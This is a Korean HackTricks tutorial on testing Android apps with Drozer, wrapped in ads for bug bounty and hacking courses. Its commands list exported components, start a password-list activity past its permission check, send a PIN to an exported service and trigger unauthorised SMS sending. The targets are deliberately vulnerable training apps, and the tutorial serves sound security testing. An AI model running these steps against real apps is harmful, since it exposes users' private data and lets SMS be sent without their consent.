htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가 수준까지 배우세요 ! ! 버그 바운티 팁 : 해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼 인 Intigriti에 가입하세요 ! https://go.intigriti.com/hacktricks 에서 오늘 가입하고 최대 $100,000 의 바운티를 받아보세요!
테스트할 APKs
이 튜토리얼의 일부는 Drozer 문서 pdf 에서 추출되었습니다.
설치
호스트에 Drozer 클라이언트를 설치하세요. 최신 릴리스 에서 다운로드하세요.
Copy pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity
최신 릴리스 에서 drozer APK를 다운로드하고 설치합니다. 현재 이 링크에서 다운로드할 수 있습니다: 여기 .
Copy adb install drozer.apk
서버 시작
에이전트는 포트 31415에서 실행 중이며, Drozer 클라이언트와 에이전트 간의 통신을 확립하기 위해 포트 포워딩 이 필요합니다. 다음은 그 명령어입니다:
Copy adb forward tcp:31415 tcp:31415
마지막으로 애플리케이션 을 실행 하고 아래쪽 의 "ON "을 누릅니다.
그리고 연결합니다:
Copy drozer console connect
흥미로운 명령어
현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 이는 적절한 권한이 없어 실행할 수 없는 모듈을 숨깁니다.
기기에서 에이전트의 컨텍스트에서 대화형 Linux 셸을 시작합니다.
Android 기기에 drozer에 의해 저장된 임시 파일을 제거합니다.
drozer 명령을 포함하는 파일을로드하고 순서대로 실행합니다.
인터넷에서 추가 drozer 모듈을 찾아 설치합니다.
drozer가 생성하는 모든 Linux 셸에 전달되는 이름이 지정된 변수를 제거합니다.
drozer에 의해 생성된 모든 Linux 셸에 환경 변수로 전달될 값을 저장합니다.
에이전트의 컨텍스트에서 기기에서 대화형 Linux 셸을 시작합니다.
Drozer는 실행할 exploits를 생성할 수 있습니다. drozer exploit list
exploits에는 페이로드가 필요합니다. drozer payload list
패키지
패키지의 이름 을 일부분의 이름으로 필터링하여 찾습니다:
Copy dz> run app.package.list -f sieve
com.mwr.example.sieve
패키지의 기본 정보:
Copy dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015 , 3003 ]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
Manifest 를 읽으세요:
Copy run app.package.manifest jakhar.aseem.diva
패키지의 공격 표면 :
Copy dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
Activities : 어떤 종류의 권한을 우회하여 활동을 시작할 수 있습니다.
Content providers : 개인 데이터에 액세스하거나 취약점 (SQL Injection 또는 경로 탐색)을 악용할 수 있습니다.
Activities
AndroidManifest.xml 파일에서 내보낸 활동 구성 요소의 "android:exported" 값이 **"true"**로 설정되어 있습니다.
Copy <activity android:name="com.my.app.Initial" android:exported="true">
</activity>
내보낸 활동 목록 :
Copy dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
액티비티 시작 :
어쩌면 액티비티를 시작하고, 시작을 방지해야 하는 어떤 종류의 권한을 우회할 수 있을지도 모릅니다.
Copy dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
adb 를 사용하여 내보낸 활동을 시작할 수도 있습니다:
PackageName은 com.example.demo입니다
내보낸 ActivityName은 com.example.test.MainActivity입니다
Copy adb shell am start -n com.example.demo/com.example.test.MainActivity
콘텐츠 제공자
이 게시물은 여기에 있을 정도로 크기가 컸으므로 자체 페이지에서 액세스할 수 있습니다 .
서비스
내보낸 서비스는 Manifest.xml 내에서 선언됩니다:
Copy <service android:name=".AuthService" android:exported="true" android:process=":remote"/>
코드 내부에서 handleMessage
함수를 확인 하십시오. 이 함수는 메시지 를 수신 할 것입니다:
서비스 목록
Copy dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null
서비스와 상호 작용
Copy app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
예시
app.service.send
에 대한 drozer 도움말을 살펴보세요:
"msg.what " 내부의 데이터를 먼저 보내고, 그 다음으로 "msg.arg1 " 및 "msg.arg2 "를 보내게 됩니다. 코드 내부에서 어떤 정보가 사용되는지 및 어디에서 확인해야 하는지 확인해야 합니다.
--extra
옵션을 사용하면 "_msg.replyTo"에서 해석된 내용을 보낼 수 있으며, --bundle-as-obj
를 사용하여 제공된 세부 정보로 객체를 생성할 수 있습니다.
다음 예시에서:
replyTo == object(string com.mwr.example.sieve.PIN 1337)
Copy run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj
브로드캐스트 수신기
Android 기본 정보 섹션에서 브로드캐스트 수신기가 무엇인지 확인할 수 있습니다 .
이 브로드캐스트 수신기를 발견한 후에는 그들의 코드를 확인 해야 합니다. 수신된 메시지를 처리할 onReceive
함수에 특별히 주의를 기울여야 합니다.
Copy run app.broadcast.info #Detects all
앱의 브로드캐스트 수신기 확인
Copy #Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.
# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null
방송 상호 작용
Copy app.broadcast.info Get information about broadcast receivers
app.broadcast.send Send broadcast using an intent
app.broadcast.sniff Register a broadcast receiver that can sniff particular intents
메시지 보내기
이 예에서는 FourGoats apk Content Provider를 남용하여 사용자의 허락을 요청하지 않고 임의의 SMS 를 비프리미엄 대상 으로 보낼 수 있습니다.
코드를 읽으면 "phoneNumber " 및 "message " 매개변수를 Content Provider로 보내야 합니다.
Copy run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"
디버그 가능 여부
프로덕션 APK는 절대 디버그할 수 없어야 합니다.
이는 실행 중인 애플리케이션에 자바 디버거를 연결 하여 검사하고, 실행 중에 중단점을 설정하고, 단계별로 진행하고, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. InfoSec institute에는 훌륭한 기사 가 있습니다. 애플리케이션이 디버그 가능하고 런타임 코드를 삽입할 때 더 깊이 파고들 수 있습니다.
애플리케이션이 디버그 가능한 경우 Manifest에 나타납니다:
Copy < application theme = "@2131296387" debuggable = "true"
Drozer 를 사용하여 모든 디버깅 가능한 애플리케이션을 찾을 수 있습니다:
Copy run app.package.debuggable
튜토리얼
추가 정보
버그 바운티 팁 : Intigriti 에 가입하여 해커들이 만든 프리미엄 버그 바운티 플랫폼 에 가입하세요! https://go.intigriti.com/hacktricks 에서 오늘 가입하고 최대 $100,000 의 바운티를 받아보세요!
제로부터 영웅이 될 때까지 AWS 해킹을 배우세요 htARTE (HackTricks AWS Red Team Expert) ! HackTricks를 지원하는 다른 방법:
회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드 하려면 구독 요금제 를 확인하세요!
HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유 하세요.